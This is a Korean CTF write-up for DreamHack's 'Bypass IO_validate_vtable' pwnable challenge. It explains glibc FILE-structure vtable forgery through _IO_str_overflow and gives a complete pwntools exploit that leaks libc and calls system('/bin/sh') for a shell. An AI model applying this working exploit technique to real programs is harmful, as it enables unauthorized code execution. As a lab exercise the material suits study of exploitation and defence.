본문 바로가기

CTF/Pwnable

[DreamHack] Bypass IO_validate_vtable Write-up

 

vtable 검증을 우회하려면 _libc_IO_vtables영역에 존재하는 함수들을 fake vtable로 사용해야한다 
ex) _IO_str_overflow 

 

코드분석

#include <stdio.h>
#include <unistd.h>

FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int main() {
  init();

  fp = fopen("/dev/urandom", "r");

  printf("stdout: %p\n", stdout);
  printf("Data: ");

  read(0, fp, 300);

  fclose(fp);
}
  • stdout의 주소를 출력한다
  • fp에 입력할 수 있음 

익스플로잇

 

1.라이브러리 주소 계산

 

stdout주소를 통해 libc_base와 io_str_overflow의 주소를 계산하자 

print(p.recvuntil(b'stdout: '))
leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8

io_file_jumps와 io_str_overflow의 거리는 0xd8이다 

 

2. 인자 조작

_s.allocate_buffer 호출 시 인자로 사용할 new_size(_IO_buf_end - _IO_buf_base)를 먼저 “/bin/sh” 문자열의 주소로 조작

⇒_IO_buf_end 를 “/bin/sh” 주소로, _IO_buf_base 를 0 으로

 

_IO_write_ptr 변수는 _IO_buf_end와 똑같이 설정하자

 

3.vtable조작 

fclose함수는 내부적으로 _IO_FINISH함수를 호출하는데 이 함수 또한 __libc_IO_vtables섹션 내에 존재한다.

fclose함수가 _IO_FINISH함수를 참조하기 전에 파일 구조체의 vtaable함수를 조작해 IO_str_overflow함수를 참조하게 만들자

=> IO_str_overflow함수 내부에서 호출하는 함수 포인터를 system으로 조작하여 쉘 획득

 

fake_vtable = io_str_overflow - 16

IO_FINISH를 호출할 때 vtable+16위치에 있는 주소를 호출 하므로 fake_vtable의 주소를 io_str_overflow-16으로 조작하면 IO_FINISH를 호출할 때 IO_str_overflow가 호출된다 

 

payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP

_s.allocate_buffer는 vtable+0x8바이트 위치이므로 fake_vtable 이후에 system 주소를 보내면 된다 

 

익스플로잇 코드를 짜보자

from pwn import *
p = remote('host3.dreamhack.games',12837)
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')
print(p.recvuntil(b'stdout: '))
leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
p.sendline(payload)
p.interactive()

 

flag가 나온다 

'CTF > Pwnable' 카테고리의 다른 글

[DreamHack] checkflag Write-up  (0) 2024.03.31
[Dreamhack] blindsc Write-up  (0) 2024.03.31
[DreamHack] _IO_FILE Arbitrary Address Write Write-up  (0) 2024.03.30
[DreamHack] send_sig Write-up  (0) 2024.03.30
[DreamHack] overwrite_rtld_global write-up  (0) 2024.03.29